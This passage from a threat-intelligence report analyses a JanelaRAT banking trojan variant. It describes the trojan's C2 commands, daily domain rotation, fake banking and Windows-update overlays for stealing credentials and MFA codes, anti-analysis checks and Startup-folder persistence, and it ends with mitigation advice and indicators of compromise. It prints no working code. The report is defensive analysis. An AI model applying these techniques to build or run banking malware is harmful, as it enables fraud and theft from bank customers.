      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2